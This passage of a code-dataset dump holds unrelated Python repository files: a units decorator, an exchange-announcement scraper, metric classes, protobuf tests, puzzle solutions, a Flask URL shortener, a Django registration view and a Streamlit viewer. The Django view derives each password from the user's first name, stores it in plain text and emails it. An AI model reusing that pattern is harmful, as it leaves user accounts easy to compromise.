isinstance(kwargs[par.name], Sequence):\n unit = unit[0]\n arg = arg * unit\n\n if par.name in kwargs and arg is None and par.default is not None:\n raise ValueError(f\"Passing '{par.name}' with a value of None\\\n is not allowed when it must have units and its default value is not None.\")\n\n new_input[par.name] = arg\n\n return func(**new_input)\n\n return f\n\n\ndef _strip_units(func, **kwargs):\n wrapped_signature = inspect.signature(func)\n\n @wraps(func)\n def f(*func_args, **func_kwargs):\n # get provided arguments\n bound_args = wrapped_signature.bind(*func_args, **func_kwargs)\n new_input = {}\n\n # attach default units to every parameter where applicable\n for param in wrapped_signature.parameters.values():\n if param.name in bound_args.arguments: # passed explicitly\n arg = bound_args.arguments[param.name]\n else: # if not provided use default\n arg = param.default\n # attach unit if needed\n if param.name in kwargs:\n if hasattr(arg, 'unit'):\n arg = arg.to(kwargs[param.name]).value\n elif arg is not None:\n raise ValueError(\"Couldn't strip unit off of '{0}' because\\\n it has no unit.\".format(param.name))\n\n new_input[param.name] = arg\n\n return func(**new_input)\n return f\n\n\nclass UnitChecker:\n @classmethod\n def as_decorator(cls, func=None, **kwargs):\n '''\n Extends the usage of astropy.units.quantity_input by not only checking\n the units of the function input and generating an error if they are\n inconsistent with the set units, but also attaches the required units\n to an input if it is dimensionless.\n\n Syntax is the same as astropy.units.quantity_input\n '''\n self = cls(**kwargs)\n if func is not None and not kwargs:\n return self(func)\n else:\n return self\n\n def __init__(self, func=None, **kwargs):\n self.kwargs = kwargs\n self.kwargs['equivalencies'] = _default_equivalencies\n\n def __call__(self, func):\n check_units = u.quantity_input(**self.kwargs)\n\n return _add_default_units(check_units(func), **self.kwargs)\n\n\nclass UnitStripper:\n @classmethod\n def as_decorator(cls, func=None, **kwargs):\n '''\n Extends the usage of astropy.units.quantity_input by removing the\n supplied units from the input after checking them, meaning a set of\n floats is supplied to the underlying function.\n\n Syntax is the same as astropy.units.quantity_input\n '''\n self = cls(**kwargs)\n if func is not None and not kwargs:\n return self(func)\n else:\n return self\n\n def __init__(self, func=None, **kwargs):\n _make_single_units(**kwargs)\n self.kwargs = kwargs\n self.kwargs['equivalencies'] = _default_equivalencies\n\n def __call__(self, func):\n check_units = u.quantity_input(**self.kwargs)\n\n return check_units(_strip_units(func, **self.kwargs))\n\n\nset_units = UnitChecker.as_decorator\nstrip_units = UnitStripper.as_decorator\n","repo_name":"fjfaggingerauer/obsim","sub_path":"obsim/util/units.py","file_name":"units.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"6138506065","text":"import urllib.request\nimport urllib.parse\nimport json\nimport sys\nimport os\nimport re\nimport requests\n\nurl = 'http://www.szse.cn/api/disc/announcement/annList?random=0.09127020156653809'\n\nheaders = {\n 'Accept': 'application/json, text/javascript, */*; q=0.01',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'zh-CN,zh;q=0.9',\n 'Connection': 'keep-alive',\n 'Content-Type': 'application/json',\n 'HOST': 'www.szse.cn',\n 'Origin': 'http://www.szse.cn',\n 'Referer': 'http://www.szse.cn/disclosure/listed/notice/index.html',\n 'X-Request-Type': 'ajax',\n 'X-Requested-With': 'XMLHttpRequest',\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/111.0.0.0 Safari/537.36',\n}\n\nbody = {\n \"channelCode\": [\n \"fixed_disc\"\n ],\n \"pageSize\": 50,\n \"pageNum\": 2,\n \"stock\": []\n}\n\nrp = requests.post(url, headers=headers, data=json.dumps(body))\nrp_dict = rp.json()\nprint(rp_dict['data'][0]['id'])\n\n# bigCategoryId = [\"\"]\n# bigIndustryCode = [\"\"]\n# channelCode = [\"\"]\n# plateCode = [\"\"]\n# seDate = [\"\", \"\"]\n#\n#\n# def get_pdf(pageNum, pageSize):\n# \"\"\"请求表格内容\n# Parameter:\n# pageNum: str 页码\n# pageSize: int 页数(固定:30)\n# Return:\n# res: list 获取的表格内容\n# \"\"\"\n# params = {\n# 'seDate': seDate,\n# 'bigCategoryId': bigCategoryId,\n# 'bigIndustryCode': bigIndustryCode,\n# 'channelCode': channelCode,\n# 'pageNum': pageNum,\n# 'pageSize': pageSize,\n# 'plateCode': plateCode\n# }\n#\n# request = urllib.request.Request(url=url, headers=headers)\n# form_data = json.dumps(params).encode() # urllib.parse.urlencode(params).encode()\n# response = urllib.request.urlopen(request, form_data)\n# res_list = response.read().decode()\n# res = json.loads(res_list)\n# print(res)\n#\n","repo_name":"WENHUIzZ/pythonCrawler","sub_path":"深交所/测试.py","file_name":"测试.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72271259367","text":"import functools\nimport inspect\nimport logging\nfrom abc import ABC, abstractmethod\nfrom typing import Any, Callable, Dict, List, Optional, Tuple, Union\n\nimport torch\nfrom torch.distributed import ProcessGroup\nfrom torchmetrics.metric import Metric\nfrom torchmetrics.utilities import apply_to_collection\nfrom torchmetrics.utilities.data import _flatten, dim_zero_cat\nfrom torchmetrics.utilities.distributed import gather_all_tensors\n\n__all__ = [\"EvalMetric\"]\n\nlogger = logging.getLogger(__name__)\n\n\nclass EvalMetric(Metric, ABC):\n \"\"\"Base class for all evaluation metrics.\n\n Built on top of `torchmetrics.metric.Metric`, this base class introduces\n the name attribute and a name-value format output (the get method). It\n also makes possible to syncnronize state tensors of different shapes in\n each device to support AP-like metrics.\n\n\n .. note::\n\n This is a base class that provides common metric interfaces.\n One should not use this class directly, but inherit it to create new\n metric classes instead.\n\n Args:\n name: Name of this metric instance for display.\n process_group: Specify the process group on which synchronization is\n called. Default: None (which selects the entire world)\n warn_without_compute: Whether to output warning log if `self.compute`\n is not called in `self.get`. Since synchronization among devices\n is executed in `self.compute`, this value reflects if the metric\n will support distributed computation.\n \"\"\"\n\n def __init__(\n self,\n name: Union[List[str], str],\n process_group: Optional[ProcessGroup] = None,\n warn_without_compute: bool = True,\n ):\n\n self.name = name\n super().__init__(\n compute_on_step=False,\n dist_sync_on_step=False,\n process_group=process_group,\n )\n self._warn_without_compute = warn_without_compute\n self.get = self._wrap_get(self.get)\n self._init_states()\n\n def _init_states(self):\n \"\"\"Initialize state variables.\n\n It is generally recommended to create state variables with\n add_state method, since in that case synchronization and reset\n can be handled automatically.\n\n State variables manually added with `self.xxx = yyy` cannot be\n synchronized and thus cannot be used in distributed case. Besides,\n they need to be manually reset by extending the reset method.\n \"\"\"\n\n self.add_state(\n \"sum_metric\",\n default=torch.tensor(0.0),\n dist_reduce_fx=\"sum\",\n )\n self.add_state(\n \"num_inst\",\n default=torch.tensor(0.0),\n dist_reduce_fx=\"sum\",\n )\n\n def reset(self) -> None:\n \"\"\"Reset the metric state variables to their default value.\n\n If (and only if) there are state variables that are not registered\n with `self.add_state` need to be regularly set to default values,\n please extend this method in subclasses.\n \"\"\"\n super().reset()\n\n def _sync_dist(\n self,\n dist_sync_fn: Callable = gather_all_tensors,\n process_group: Optional[Any] = None,\n ) -> None:\n input_dict = {\n attr: getattr(self, attr) for attr in self._reductions.keys()\n }\n\n for attr, reduction_fn in self._reductions.items():\n # pre-concatenate metric states that are lists\n # to reduce number of all_gather operations\n input_dict[attr] = input_dict[attr].cuda()\n if (\n reduction_fn == dim_zero_cat\n and isinstance(input_dict[attr], list)\n and len(input_dict[attr]) > 1\n ):\n input_dict[attr] = [dim_zero_cat(input_dict[attr])]\n\n output_dict = apply_to_collection(\n input_dict,\n torch.Tensor,\n dist_sync_fn,\n group=process_group or self.process_group,\n )\n\n for attr, reduction_fn in self._reductions.items():\n # pre-processing ops (stack or flatten for inputs)\n if isinstance(output_dict[attr][0], torch.Tensor):\n output_dict[attr] = torch.stack(output_dict[attr])\n elif isinstance(output_dict[attr][0], list):\n output_dict[attr] = _flatten(output_dict[attr])\n\n assert isinstance(reduction_fn, Callable) or reduction_fn is None\n reduced = (\n reduction_fn(output_dict[attr])\n if reduction_fn is not None\n else output_dict[attr]\n )\n setattr(self, attr, reduced)\n\n @abstractmethod\n def update(self, *_: Any, **__: Any) -> None:\n \"\"\"Override this method to update the state variables.\"\"\"\n\n def compute(self) -> Union[float, List[float]]:\n \"\"\"Override this method to compute final results from metric states.\n\n All states variables registered with `self.add_state` are synchronized\n across devices before the execution of this method.\n \"\"\"\n val = self.sum_metric / self.num_inst\n\n # scalar case\n if val.numel() == 1:\n val = val.item()\n else:\n val = val.cpu().numpy().tolist()\n return val\n\n def __getstate__(self) -> Dict[str, Any]:\n # ignore update and compute functions for pickling\n return {\n k: v\n for k, v in self.__dict__.items()\n if k not in [\"update\", \"compute\", \"get\", \"_update_signature\"]\n }\n\n def __setstate__(self, state: Dict[str, Any]) -> None:\n # manually restore update and compute functions for pickling\n self.__dict__.update(state)\n self._update_signature = inspect.signature(self.update)\n self.update: Callable = self._wrap_update(self.update)\n self.compute: Callable = self._wrap_compute(self.compute)\n self.get: Callable = self._wrap_get(self.get)\n\n def get(self) -> Tuple[Union[str, List[str]], Union[float, List[float]]]:\n \"\"\"Get current evaluation result.\n\n To skip the synchronization among devices, please override this method\n and calculate results without calling `self.compute()`.\n\n Returns:\n names: Name of the metrics.\n values: Value of the evaluations.\n \"\"\"\n\n values = self.compute_2()\n if isinstance(values, list):\n assert isinstance(self.name, list) and len(self.name) == len(\n values\n )\n\n return self.name, values\n\n def _wrap_get(self, get: Callable):\n @functools.wraps(get)\n def wrapped_func(*args: Any, **kwargs: Any) -> Optional[Any]:\n res = get(*args, **kwargs)\n if self._warn_without_compute and self._computed is None:\n logger.warning(\n f\"{self.__class__} not ready for distributed environment,\"\n + \" should not be used together with DistributedSampler.\"\n + \"Might be slow in validation due to resource competition\"\n )\n return res\n\n return wrapped_func\n\n def get_name_value(self):\n \"\"\"\n Return zipped name and value pairs.\n\n Returns:\n List(tuples): A (name, value) tuple list.\n \"\"\"\n\n name, value = self.get()\n if not isinstance(name, list):\n name = [name]\n if not isinstance(value, list):\n value = [value]\n return list(zip(name, value))\n","repo_name":"xingyun-xy/cap","sub_path":"cap/metrics/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":7548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"17317223399","text":"from unittest.mock import patch\nfrom types import SimpleNamespace\n\nimport pytest\n\nfrom trezorlib import protobuf\n\nSimpleEnum = SimpleNamespace(FOO=0, BAR=5, QUUX=13)\nSimpleEnumType = protobuf.EnumType(\"SimpleEnum\", (0, 5, 13))\n\nwith_simple_enum = patch(\"trezorlib.messages.SimpleEnum\", SimpleEnum, create=True)\n\n\nclass SimpleMessage(protobuf.MessageType):\n @classmethod\n def get_fields(cls):\n return {\n 1: (\"uvarint\", protobuf.UVarintType, None),\n 2: (\"svarint\", protobuf.SVarintType, None),\n 3: (\"bool\", protobuf.BoolType, None),\n 4: (\"bytes\", protobuf.BytesType, None),\n 5: (\"unicode\", protobuf.UnicodeType, None),\n 6: (\"enum\", SimpleEnumType, None),\n 7: (\"rep_int\", protobuf.UVarintType, protobuf.FLAG_REPEATED),\n 8: (\"rep_str\", protobuf.UnicodeType, protobuf.FLAG_REPEATED),\n 9: (\"rep_enum\", SimpleEnumType, protobuf.FLAG_REPEATED),\n }\n\n\nclass NestedMessage(protobuf.MessageType):\n @classmethod\n def get_fields(cls):\n return {\n 1: (\"scalar\", protobuf.UVarintType, 0),\n 2: (\"nested\", SimpleMessage, 0),\n 3: (\"repeated\", SimpleMessage, protobuf.FLAG_REPEATED),\n }\n\n\nclass RequiredFields(protobuf.MessageType):\n @classmethod\n def get_fields(cls):\n return {\n 1: (\"scalar\", protobuf.UVarintType, protobuf.FLAG_REQUIRED),\n }\n\n\ndef test_get_field_type():\n # smoke test\n assert SimpleMessage.get_field_type(\"bool\") is protobuf.BoolType\n\n # full field list\n for fname, ftype, _ in SimpleMessage.get_fields().values():\n assert SimpleMessage.get_field_type(fname) is ftype\n\n\n@with_simple_enum\ndef test_enum_to_str():\n # smoke test\n assert SimpleEnumType.to_str(5) == \"BAR\"\n\n # full value list\n for name, value in SimpleEnum.__dict__.items():\n assert SimpleEnumType.to_str(value) == name\n assert SimpleEnumType.from_str(name) == value\n\n with pytest.raises(TypeError):\n SimpleEnumType.from_str(\"NotAValidValue\")\n\n with pytest.raises(TypeError):\n SimpleEnumType.to_str(999)\n\n\n@with_simple_enum\ndef test_dict_roundtrip():\n msg = SimpleMessage(\n uvarint=5,\n svarint=-13,\n bool=False,\n bytes=b\"\\xca\\xfe\\x00\\xfe\",\n unicode=\"žluťoučký kůň\",\n enum=5,\n rep_int=[1, 2, 3],\n rep_str=[\"a\", \"b\", \"c\"],\n rep_enum=[0, 5, 13],\n )\n\n converted = protobuf.to_dict(msg)\n recovered = protobuf.dict_to_proto(SimpleMessage, converted)\n\n assert recovered == msg\n\n\n@with_simple_enum\ndef test_to_dict():\n msg = SimpleMessage(\n uvarint=5,\n svarint=-13,\n bool=False,\n bytes=b\"\\xca\\xfe\\x00\\xfe\",\n unicode=\"žluťoučký kůň\",\n enum=5,\n rep_int=[1, 2, 3],\n rep_str=[\"a\", \"b\", \"c\"],\n rep_enum=[0, 5, 13],\n )\n\n converted = protobuf.to_dict(msg)\n\n fields = [fname for fname, _, _ in msg.get_fields().values()]\n assert list(sorted(converted.keys())) == list(sorted(fields))\n\n assert converted[\"uvarint\"] == 5\n assert converted[\"svarint\"] == -13\n assert converted[\"bool\"] is False\n assert converted[\"bytes\"] == \"cafe00fe\"\n assert converted[\"unicode\"] == \"žluťoučký kůň\"\n assert converted[\"enum\"] == \"BAR\"\n assert converted[\"rep_int\"] == [1, 2, 3]\n assert converted[\"rep_str\"] == [\"a\", \"b\", \"c\"]\n assert converted[\"rep_enum\"] == [\"FOO\", \"BAR\", \"QUUX\"]\n\n\n@with_simple_enum\ndef test_recover_mismatch():\n dictdata = {\n \"bool\": True,\n \"enum\": \"FOO\",\n \"another_field\": \"hello\",\n \"rep_enum\": [\"FOO\", 5, 5],\n }\n recovered = protobuf.dict_to_proto(SimpleMessage, dictdata)\n\n assert recovered.bool is True\n assert recovered.enum is SimpleEnum.FOO\n assert not hasattr(recovered, \"another_field\")\n assert recovered.rep_enum == [SimpleEnum.FOO, SimpleEnum.BAR, SimpleEnum.BAR]\n\n for name, _, flags in SimpleMessage.get_fields().values():\n if name not in dictdata:\n if flags == protobuf.FLAG_REPEATED:\n assert getattr(recovered, name) == []\n else:\n assert getattr(recovered, name) is None\n\n\n@with_simple_enum\ndef test_hexlify():\n msg = SimpleMessage(bytes=b\"\\xca\\xfe\\x00\\x12\\x34\", unicode=\"žluťoučký kůň\")\n converted_nohex = protobuf.to_dict(msg, hexlify_bytes=False)\n converted_hex = protobuf.to_dict(msg, hexlify_bytes=True)\n\n assert converted_nohex[\"bytes\"] == b\"\\xca\\xfe\\x00\\x12\\x34\"\n assert converted_nohex[\"unicode\"] == \"žluťoučký kůň\"\n assert converted_hex[\"bytes\"] == \"cafe001234\"\n assert converted_hex[\"unicode\"] == \"žluťoučký kůň\"\n\n recovered_nohex = protobuf.dict_to_proto(SimpleMessage, converted_nohex)\n recovered_hex = protobuf.dict_to_proto(SimpleMessage, converted_hex)\n\n assert recovered_nohex.bytes == msg.bytes\n assert recovered_hex.bytes == msg.bytes\n\n\n@with_simple_enum\ndef test_nested_round_trip():\n msg = NestedMessage(\n scalar=9,\n nested=SimpleMessage(uvarint=4, enum=SimpleEnum.FOO),\n repeated=[\n SimpleMessage(),\n SimpleMessage(rep_enum=[SimpleEnum.BAR, SimpleEnum.BAR]),\n SimpleMessage(bytes=b\"\\xca\\xfe\"),\n ],\n )\n\n converted = protobuf.to_dict(msg)\n recovered = protobuf.dict_to_proto(NestedMessage, converted)\n\n assert msg == recovered\n\n\n@with_simple_enum\ndef test_nested_to_dict():\n msg = NestedMessage(\n scalar=9,\n nested=SimpleMessage(uvarint=4, enum=SimpleEnum.FOO),\n repeated=[\n SimpleMessage(),\n SimpleMessage(rep_enum=[SimpleEnum.BAR, SimpleEnum.BAR]),\n SimpleMessage(bytes=b\"\\xca\\xfe\"),\n ],\n )\n\n converted = protobuf.to_dict(msg)\n assert converted[\"scalar\"] == 9\n assert isinstance(converted[\"nested\"], dict)\n assert isinstance(converted[\"repeated\"], list)\n\n rep = converted[\"repeated\"]\n assert rep[0] == {}\n assert rep[1] == {\"rep_enum\": [\"BAR\", \"BAR\"]}\n assert rep[2] == {\"bytes\": \"cafe\"}\n\n\n@with_simple_enum\ndef test_nested_recover():\n dictdata = {\"nested\": {}}\n recovered = protobuf.dict_to_proto(NestedMessage, dictdata)\n assert isinstance(recovered.nested, SimpleMessage)\n\n\n@with_simple_enum\ndef test_unknown_enum_to_str():\n simple = SimpleMessage(enum=SimpleEnum.QUUX)\n string = protobuf.format_message(simple)\n assert \"enum: QUUX (13)\" in string\n\n simple = SimpleMessage(enum=6000)\n string = protobuf.format_message(simple)\n assert \"enum: 6000\" in string\n\n\n@with_simple_enum\ndef test_unknown_enum_to_dict():\n simple = SimpleMessage(enum=6000)\n converted = protobuf.to_dict(simple)\n assert converted[\"enum\"] == 6000\n\n\ndef test_constructor_deprecations():\n # ok:\n RequiredFields(scalar=0)\n\n # positional argument\n with pytest.deprecated_call():\n RequiredFields(0)\n\n # missing required value\n with pytest.deprecated_call():\n RequiredFields()\n\n # more args than fields\n with pytest.deprecated_call(), pytest.raises(TypeError):\n RequiredFields(0, 0)\n\n # colliding arg and kwarg\n with pytest.deprecated_call(), pytest.raises(TypeError):\n RequiredFields(0, scalar=0)\n","repo_name":"symbol/trezor-firmware","sub_path":"python/tests/test_protobuf_misc.py","file_name":"test_protobuf_misc.py","file_ext":"py","file_size_in_byte":7235,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"34840975432","text":"# -*- encoding: utf-8 -*-\n'''\n@File : task2.py\n@Time : 2020/03/08 21:48:43\n@Author : xdbcb8 \n@Version : 1.0\n@Contact : xdbcb8@qq.com\n@WebSite : www.xdbcb8.com\n'''\n\n# here put the import lib\n'''\n2 一个字典中,存放了10个学生的学号(key)和分数(value);请筛选输出,大于80分的同学(按照格式:学号:分数);\n'''\n\n# student_name = ['阿萨德','史蒂夫','算法','大法官','是非观','梵蒂冈','供电局','语句块','御魂','豆腐干']\n# student_id = [120180,120181,120182,120183,120184,120185,120186,120187,120188,120189]\n# student_score = [20,30,40,50,60,70,80,90,95,100]\n# result = dict(zip(student_name,student_id,student_score)) #有问题,不能这么弄,记得查清这种写法怎么弄\n# print(result[student_name[0]])\n\nstudent = []\nstudent1 = {'name':'二狗蛋','id':120180,'score':20}\nstudent2 = {'name':'阿斯蒂芬','id':120181,'score':30}\nstudent3 = {'name':'张铁柱','id':120182,'score':40}\nstudent4 = {'name':'孙二少','id':120183,'score':50}\nstudent5 = {'name':'韩硕','id':120184,'score':60}\nstudent6 = {'name':'滑稽','id':120185,'score':70}\nstudent7 = {'name':'东方贵红','id':120186,'score':80}\nstudent8 = {'name':'橙子','id':120187,'score':90}\nstudent9 = {'name':'苹果','id':120188,'score':96}\nstudent10 = {'name':'草莓','id':120189,'score':100}\n\nstudent.append(student1)\nstudent.append(student2)\nstudent.append(student3)\nstudent.append(student4)\nstudent.append(student5)\nstudent.append(student6)\nstudent.append(student7)\nstudent.append(student8)\nstudent.append(student9)\nstudent.append(student10)\n\nprint(\"大于80分的同学的学号,分数如下:\\n\")\nfor temp in student:\n if temp['score'] >=80:\n print(\"学号:\",temp['id'],\" 分数:\",temp['score'],\"\\n\")\n\n\n","repo_name":"zhongshiwei456/learngit","sub_path":"homework1/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"40646705635","text":"from collections import deque\ninput = open('20.in').read().strip()[1:-1]\n\n\ncurrentR = (0, 0)\nrooms = set()\nrooms.add(currentR)\ndoors = set()\nQ = deque()\nQ.append((currentR, input))\nSEEN = set()\nSEEN.add((currentR, input))\nwhile Q:\n (currentR, s) = Q.popleft()\n try:\n prefix = s[:s.index('(')]\n except:\n prefix = s\n\n for c in prefix:\n x, y = currentR\n if c == 'N':\n currentR = (x, y - 2)\n currentD = (x, y - 1)\n elif c == 'S':\n currentR = (x, y + 2)\n currentD = (x, y + 1)\n elif c == 'W':\n currentR = (x - 2, y)\n currentD = (x - 1, y)\n elif c == 'E':\n currentR = (x + 2, y)\n currentD = (x + 1, y)\n rooms.add(currentR)\n doors.add(currentD)\n \n if prefix == s:\n continue\n \n pIdx = s.index('(')\n p = 0\n buf = ''\n tokens = []\n while True:\n c = s[pIdx]\n if c == '(':\n p += 1\n if p > 1:\n buf += c\n elif c == ')':\n p -= 1\n if p == 0:\n tokens.append(buf)\n pIdx += 1\n break\n elif p > 0:\n buf += c\n elif c == '|':\n if p == 1:\n tokens.append(buf)\n buf = ''\n else:\n buf += c\n else:\n buf += c\n pIdx += 1\n for t in tokens:\n newState = (currentR, t + s[pIdx:])\n if not newState in SEEN:\n Q.append(newState)\n SEEN.add(newState)\n pass\n\ndef tipar():\n for y in range(-10, 10):\n for x in range(-10, 10):\n if (x, y) == (0, 0):\n print('X', end = '')\n elif (x, y) in rooms:\n print('.', end = '')\n elif (x, y) in doors:\n if (x - 1, y) in rooms and (x + 1, y) in rooms:\n print('|', end = '')\n elif (x, y + 1) in rooms and (x, y - 1) in rooms:\n print('-', end = '')\n else:\n print('#', end = '')\n print()\n \n#tipar()\n\n\nSEEN = set()\nQ = deque()\nSEEN.add((0, 0))\nstart = ((0, 0), 0)\nQ.append(start)\n\nmaxDepth = 0\npart2 = 0\nwhile Q:\n (point, depth) = Q.popleft()\n \n if depth >= 1000:\n part2 += 1\n if depth > maxDepth:\n maxDepth = depth\n\n x, y = point\n\n dx = [1, -1, 0, 0]\n dy = [0, 0, -1, 1]\n\n for i in range(4):\n newDoor = (x + dx[i], y + dy[i])\n newPoint = (x + 2 * dx[i], y + 2 * dy[i])\n if newDoor in doors:\n if not newPoint in SEEN:\n SEEN.add(newPoint)\n Q.append(((newPoint), depth + 1))\nprint(maxDepth)\nprint(part2)\n\n\n","repo_name":"HoreaOros/AoC2018","sub_path":"20take2.py","file_name":"20take2.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"20429209077","text":"class Solution:\n def removeOuterParentheses(self, s: str) -> str:\n stack=[]\n count=0\n for i in s:\n if i==\"(\" and count!=0:\n stack.append(i)\n count+=1\n elif i==\")\" and count!=1:\n stack.append(i)\n count-=1\n elif i==\"(\" and count==0:\n count+=1\n else:\n count-=1\n\n return \"\".join(stack)","repo_name":"ekramkedir2020/interview-prep","sub_path":"1021-remove-outermost-parentheses/1021-remove-outermost-parentheses.py","file_name":"1021-remove-outermost-parentheses.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71216440169","text":"from flask import Flask, render_template, request, redirect\nfrom hashlib import md5\nfrom pymongo import MongoClient\nimport time\n\napp = Flask(__name__)\n\nmongo_client = MongoClient(\"localhost\", 27017)\nurl_db = mongo_client.url.urls\n\n\n@app.route('/')\ndef show_url(hash_url):\n pure_url = url_db.find_one({\"hash_url\": hash_url}, {\"_id\": 0, \"pure_url\": 1})[\"pure_url\"]\n if pure_url.find(\"http://\") != 0 and pure_url.find(\"https://\") != 0:\n pure_url = \"https://\" + pure_url\n\n return redirect(pure_url, code=302)\n\n\n@app.route('/', methods=[\"POST\", \"GET\"])\ndef index():\n if request.method == \"POST\":\n pure_url = request.form.get(\"pureURL\", \"\")\n if pure_url == \"\":\n return \"\", 204\n pure_url_timezone = pure_url + str(time.time_ns())\n md5_url = md5(pure_url_timezone.encode()).hexdigest()[0:8]\n url_db.insert_one({\"pure_url\": pure_url, \"hash_url\": md5_url})\n return render_template(\"show.html\", hash_url=md5_url)\n return render_template(\"main.html\")\n\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"AbdulkadirKoyuncu/UrlShortenerPython","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39270827183","text":"from __future__ import annotations\nimport requests\nimport pandas as pd\n\nclass CensusResult():\n def __init__(self, response: requests.Reponse, variables: list[str]):\n self.response = response\n self.variables = variables\n self.data = response.json()\n\n # Create pandas dataframe of result Json\n json = self.data\n for i in range(len(json)):\n if i == 0:\n df = pd.DataFrame(columns=json[i])\n else:\n df.loc[i] = json[i]\n\n self.dataframe = df\n","repo_name":"KathrynPanger/bbd","sub_path":"src/bbd/census/census_result.py","file_name":"census_result.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"74059603687","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom Ambika.forms import UserDetails\nfrom Ambika.models import User\nfrom django.core.mail import send_mail\nfrom firstproject import settings\n\n# Create your views here.\ndef registerform(request):\n\tif request.method == 'POST':\n\t\tPswd = request.POST['FirstName']+'@123'\n\t\tFirstName = request.POST['FirstName']\n\t\tLastName = request.POST['LastName']\n\t\tUserName = request.POST['UserName']\n\t\tMailId = request.POST['MailId']\n\t\tPhnNum = request.POST['PhnNum']\n\t\tAge = request.POST['Age']\n\t\tform = User(FirstName=FirstName,LastName=LastName,UserName=UserName,Pswd=Pswd,MailId=MailId,PhnNum=PhnNum,Age=Age)\n\t\tform.save()\n\t\tsub = 'hi'\n\t\tbody = 'Your Password is '+Pswd\n\t\treceiver = request.POST['MailId']\n\t\tsender = settings.EMAIL_HOST_USER\n\t\tsend_mail(sub,body,sender,[receiver])\n\t\t#return HttpResponse(\"your Password is \"+Pswd)\n\tform = UserDetails()\n\treturn render(request,'Ambika/registerform.html',{'form':form})\n\ndef login(request):\n\tif request.method == \"POST\":\n\t\tUname = request.POST['Uname']\n\t\tPwd = request.POST['Pwd']\n\t\tdata = User.objects.all().filter(UserName=Uname,Pswd=Pwd)\n\t\tprint(list(data))\n\t\tif data:\n\t\t\treturn render(request,'Ambika/display.html',{'data':data})\n\t\treturn HttpResponse(\"Please give Valid User Details\")\n\treturn render(request,'Ambika/login.html',{})\n\n","repo_name":"sreevidyachintala/Django-2020","sub_path":"Django-master/firstproject/Ambika/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"25561145344","text":"# import the Package\nimport os\nimport sys\nimport base64\nfrom io import BytesIO\nimport argparse\nimport glob\n\nsys.path.append(f\"{os.path.dirname(os.path.abspath(__file__))}/../../\")\n\nimport streamlit as st\nfrom PIL import Image\nimport pandas as pd\n\nfrom utils.query import SplitReader\nfrom utils.admin import DBClient\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"streamlit app inside odl-cli.\")\n\n parser.add_argument(\n \"--dataset-name\",\n )\n parser.add_argument(\n \"--split-name\",\n default=\"train\",\n )\n\n try:\n args = parser.parse_args()\n except SystemExit as e:\n os._exit(e.code)\n\n dataset_name = args.dataset_name\n split_name = args.split_name\n st.title(\"Files\")\n # explore_app(dataset_name, split_name)\n image_grid_main(dataset_name, split_name)\n\n\ndef explore_app(dataset_name: str, split_name: str):\n dataset_name = dataset_name\n split_name = \"train\" # currently only support train split\n print(f\"dataset_name: {dataset_name}, split_name: {split_name}\")\n\n db_client = DBClient()\n path = db_client.get_local_split_path(dataset_name, split_name)\n print(path)\n\n split_reader = SplitReader(dataset_name, split_name)\n print(split_reader.dataset_name, split_reader.split_name)\n SPLIT_DF = pd.DataFrame()\n\n SPLIT_DF[\"file_path\"] = split_reader.get_image_samples(10)\n SPLIT_DF[\"split\"] = split_name\n SPLIT_DF[\"thumbnail\"] = SPLIT_DF.file_path.map(lambda x: image_formatter(x))\n DF = pd.DataFrame(\n {\n \"thumbnail\": SPLIT_DF[\"thumbnail\"],\n \"split\": SPLIT_DF[\"split\"],\n }\n )\n\n DF_HTML = convert_df(DF)\n\n pd.set_option(\"display.max_colwidth\", -1)\n st.markdown(DF_HTML, unsafe_allow_html=True)\n\n\ndef image_grid_main(dataset_name: str, split_name: str):\n st.title(\"Image Grid Display\")\n image_files, manuscripts = load_images(dataset_name, split_name)\n view_manuscripts = st.multiselect(\"Select Manuscript(s)\", manuscripts)\n n = st.number_input(\"Select Grid Width\", 1, 5, 3)\n\n view_images = []\n for image_file in image_files:\n if any(manuscript in image_file for manuscript in view_manuscripts):\n view_images.append(image_file)\n groups = []\n for i in range(0, len(view_images), n):\n groups.append(view_images[i : i + n])\n\n for group in groups:\n cols = st.columns(n)\n for i, image_file in enumerate(group):\n cols[i].image(Image.open(image_file))\n\n\n@st.cache\ndef load_images(dataset_name: str, split_name: str):\n files = get_file_list(dataset_name, split_name)\n image_files = files\n manuscripts = []\n for image_file in image_files:\n image_file = image_file.replace(\"\\\\\", \"/\")\n parts = image_file.split(\"/\")\n if parts[1] not in manuscripts:\n manuscripts.append(parts[1])\n manuscripts.sort()\n\n return image_files, manuscripts\n\n\ndef get_file_list(dataset_name: str, split_name: str, count=10):\n dataset_name = dataset_name\n split_name = split_name # currently only support train split\n # print(f\"dataset_name: {dataset_name}, split_name: {split_name}\")\n\n split_reader = SplitReader(dataset_name, split_name)\n # print(split_reader.dataset_name, split_reader.split_name)\n 